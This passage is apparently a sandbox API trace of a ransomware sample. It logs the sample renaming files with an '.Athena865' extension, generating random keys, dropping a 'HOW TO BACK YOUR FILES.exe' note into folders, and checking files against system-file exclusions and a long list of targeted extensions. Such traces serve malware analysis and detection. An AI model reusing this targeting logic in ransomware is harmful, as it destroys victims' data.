Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0055.061] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.062] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1886) returned 1 [0055.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518898 [0055.062] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0055.063] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.063] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0055.063] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa60, lpName=0x0) returned 0x154 [0055.064] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa60) returned 0x100000 [0055.065] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0055.066] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.066] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0055.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.067] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0055.067] CloseHandle (hObject=0x154) returned 1 [0055.067] CloseHandle (hObject=0x17c) returned 1 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518898 | out: hHeap=0x4f0000) returned 1 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.067] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0055.067] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0055.067] ReleaseMutex (hMutex=0xec) returned 1 [0055.067] CloseHandle (hObject=0xec) returned 1 [0055.067] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518b40 | out: hHeap=0x4f0000) returned 1 [0055.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f538 | out: hHeap=0x4f0000) returned 1 [0055.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned 62 [0055.068] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\548BA933E33C8858D9FF1CBB2D4111FD") returned 0xec [0055.068] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0055.068] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" [0055.068] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0055.068] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0055.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0055.068] GetLastError () returned 0x0 [0055.068] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0055.068] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0055.068] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0055.069] CloseHandle (hObject=0xf4) returned 1 [0055.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0055.069] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0055.069] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd346960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0055.069] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0055.069] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0055.069] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.070] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd346960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.070] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0055.070] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0055.070] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.070] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.070] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd346960, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0055.070] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0055.070] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="..") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="windows") returned -1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="bootmgr") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="temp") returned -1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="pagefile.sys") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="boot") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="ids.txt") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="ntuser.dat") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="perflogs") returned 1 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="MSBuild") returned 1 [0055.070] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0055.070] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PublisherMUI.msi" | out: lpString1="PublisherMUI.msi") returned="PublisherMUI.msi" [0055.070] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0055.070] lstrlenW (lpString="Athena865") returned 9 [0055.070] lstrcmpiW (lpString1="erMUI.msi", lpString2="Athena865") returned 1 [0055.070] lstrlenW (lpString=".dll") returned 4 [0055.070] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".dll") returned 1 [0055.070] lstrlenW (lpString=".lnk") returned 4 [0055.071] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".lnk") returned 1 [0055.071] lstrlenW (lpString=".ini") returned 4 [0055.071] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".ini") returned 1 [0055.071] lstrlenW (lpString=".sys") returned 4 [0055.071] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".sys") returned 1 [0055.071] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0055.071] lstrlenW (lpString="bak") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0055.071] lstrlenW (lpString="ba_") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0055.071] lstrlenW (lpString="dbb") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0055.071] lstrlenW (lpString="vmdk") returned 4 [0055.071] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0055.071] lstrlenW (lpString="rar") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0055.071] lstrlenW (lpString="zip") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0055.071] lstrlenW (lpString="tgz") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0055.071] lstrlenW (lpString="vbox") returned 4 [0055.071] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0055.071] lstrlenW (lpString="vdi") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0055.071] lstrlenW (lpString="vhd") returned 3 [0055.071] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0055.071] lstrlenW (lpString="vhdx") returned 4 [0055.071] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0055.071] lstrlenW (lpString="avhd") returned 4 [0055.071] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0055.071] lstrlenW (lpString="db") returned 2 [0055.071] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0055.071] lstrlenW (lpString="db2") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0055.072] lstrlenW (lpString="db3") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0055.072] lstrlenW (lpString="dbf") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0055.072] lstrlenW (lpString="mdf") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0055.072] lstrlenW (lpString="mdb") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0055.072] lstrlenW (lpString="sql") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0055.072] lstrlenW (lpString="sqlite") returned 6 [0055.072] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0055.072] lstrlenW (lpString="sqlite3") returned 7 [0055.072] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0055.072] lstrlenW (lpString="sqlitedb") returned 8 [0055.072] lstrcmpiW (lpString1="rMUI.msi", lpString2="sqlitedb") returned -1 [0055.072] lstrlenW (lpString="xml") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0055.072] lstrlenW (lpString="$er") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0055.072] lstrlenW (lpString="4dd") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0055.072] lstrlenW (lpString="4dl") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0055.072] lstrlenW (lpString="^^^") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0055.072] lstrlenW (lpString="abs") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0055.072] lstrlenW (lpString="abx") returned 3 [0055.072] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0055.072] lstrlenW (lpString="accdb") returned 5 [0055.072] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0055.073] lstrlenW (lpString="accdc") returned 5 [0055.073] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0055.073] lstrlenW (lpString="accde") returned 5 [0055.073] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0055.073] lstrlenW (lpString="accdr") returned 5 [0055.073] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0055.073] lstrlenW (lpString="accdt") returned 5 [0055.073] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0055.073] lstrlenW (lpString="accdw") returned 5 [0055.073] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0055.073] lstrlenW (lpString="accft") returned 5 [0055.073] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0055.073] lstrlenW (lpString="adb") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0055.073] lstrlenW (lpString="adb") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0055.073] lstrlenW (lpString="ade") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0055.073] lstrlenW (lpString="adf") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0055.073] lstrlenW (lpString="adn") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0055.073] lstrlenW (lpString="adp") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0055.073] lstrlenW (lpString="alf") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0055.073] lstrlenW (lpString="ask") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0055.073] lstrlenW (lpString="btr") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0055.073] lstrlenW (lpString="cat") returned 3 [0055.073] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0055.073] lstrlenW (lpString="cdb") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0055.074] lstrlenW (lpString="ckp") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0055.074] lstrlenW (lpString="cma") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0055.074] lstrlenW (lpString="cpd") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0055.074] lstrlenW (lpString="dacpac") returned 6 [0055.074] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0055.074] lstrlenW (lpString="dad") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0055.074] lstrlenW (lpString="dadiagrams") returned 10 [0055.074] lstrcmpiW (lpString1="herMUI.msi", lpString2="dadiagrams") returned 1 [0055.074] lstrlenW (lpString="daschema") returned 8 [0055.074] lstrcmpiW (lpString1="rMUI.msi", lpString2="daschema") returned 1 [0055.074] lstrlenW (lpString="db-journal") returned 10 [0055.074] lstrcmpiW (lpString1="herMUI.msi", lpString2="db-journal") returned 1 [0055.074] lstrlenW (lpString="db-shm") returned 6 [0055.074] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0055.074] lstrlenW (lpString="db-wal") returned 6 [0055.074] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0055.074] lstrlenW (lpString="dbc") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0055.074] lstrlenW (lpString="dbs") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0055.074] lstrlenW (lpString="dbt") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0055.074] lstrlenW (lpString="dbv") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0055.074] lstrlenW (lpString="dbx") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0055.074] lstrlenW (lpString="dcb") returned 3 [0055.074] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0055.075] lstrlenW (lpString="dct") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0055.075] lstrlenW (lpString="dcx") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0055.075] lstrlenW (lpString="ddl") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0055.075] lstrlenW (lpString="dlis") returned 4 [0055.075] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0055.075] lstrlenW (lpString="dp1") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0055.075] lstrlenW (lpString="dqy") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0055.075] lstrlenW (lpString="dsk") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0055.075] lstrlenW (lpString="dsn") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0055.075] lstrlenW (lpString="dtsx") returned 4 [0055.075] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0055.075] lstrlenW (lpString="dxl") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0055.075] lstrlenW (lpString="eco") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0055.075] lstrlenW (lpString="ecx") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0055.075] lstrlenW (lpString="edb") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0055.075] lstrlenW (lpString="epim") returned 4 [0055.075] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0055.075] lstrlenW (lpString="fcd") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0055.075] lstrlenW (lpString="fdb") returned 3 [0055.075] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0055.075] lstrlenW (lpString="fic") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0055.076] lstrlenW (lpString="flexolibrary") returned 12 [0055.076] lstrcmpiW (lpString1="isherMUI.msi", lpString2="flexolibrary") returned 1 [0055.076] lstrlenW (lpString="fm5") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0055.076] lstrlenW (lpString="fmp") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0055.076] lstrlenW (lpString="fmp12") returned 5 [0055.076] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0055.076] lstrlenW (lpString="fmpsl") returned 5 [0055.076] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0055.076] lstrlenW (lpString="fol") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0055.076] lstrlenW (lpString="fp3") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0055.076] lstrlenW (lpString="fp4") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0055.076] lstrlenW (lpString="fp5") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0055.076] lstrlenW (lpString="fp7") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0055.076] lstrlenW (lpString="fpt") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0055.076] lstrlenW (lpString="frm") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0055.076] lstrlenW (lpString="gdb") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0055.076] lstrlenW (lpString="gdb") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0055.076] lstrlenW (lpString="grdb") returned 4 [0055.076] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0055.076] lstrlenW (lpString="gwi") returned 3 [0055.076] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0055.077] lstrlenW (lpString="hdb") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0055.077] lstrlenW (lpString="his") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0055.077] lstrlenW (lpString="ib") returned 2 [0055.077] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0055.077] lstrlenW (lpString="idb") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0055.077] lstrlenW (lpString="ihx") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0055.077] lstrlenW (lpString="itdb") returned 4 [0055.077] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0055.077] lstrlenW (lpString="itw") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0055.077] lstrlenW (lpString="jet") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0055.077] lstrlenW (lpString="jtx") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0055.077] lstrlenW (lpString="kdb") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0055.077] lstrlenW (lpString="kexi") returned 4 [0055.077] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0055.077] lstrlenW (lpString="kexic") returned 5 [0055.077] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0055.077] lstrlenW (lpString="kexis") returned 5 [0055.077] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0055.077] lstrlenW (lpString="lgc") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0055.077] lstrlenW (lpString="lwx") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0055.077] lstrlenW (lpString="maf") returned 3 [0055.077] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0055.077] lstrlenW (lpString="maq") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0055.078] lstrlenW (lpString="mar") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0055.078] lstrlenW (lpString="marshal") returned 7 [0055.078] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0055.078] lstrlenW (lpString="mas") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0055.078] lstrlenW (lpString="mav") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0055.078] lstrlenW (lpString="maw") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0055.078] lstrlenW (lpString="mdbhtml") returned 7 [0055.078] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0055.078] lstrlenW (lpString="mdn") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0055.078] lstrlenW (lpString="mdt") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0055.078] lstrlenW (lpString="mfd") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0055.078] lstrlenW (lpString="mpd") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0055.078] lstrlenW (lpString="mrg") returned 3 [0055.078] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0055.078] lstrlenW (lpString="mud") returned 3 [0055.078] 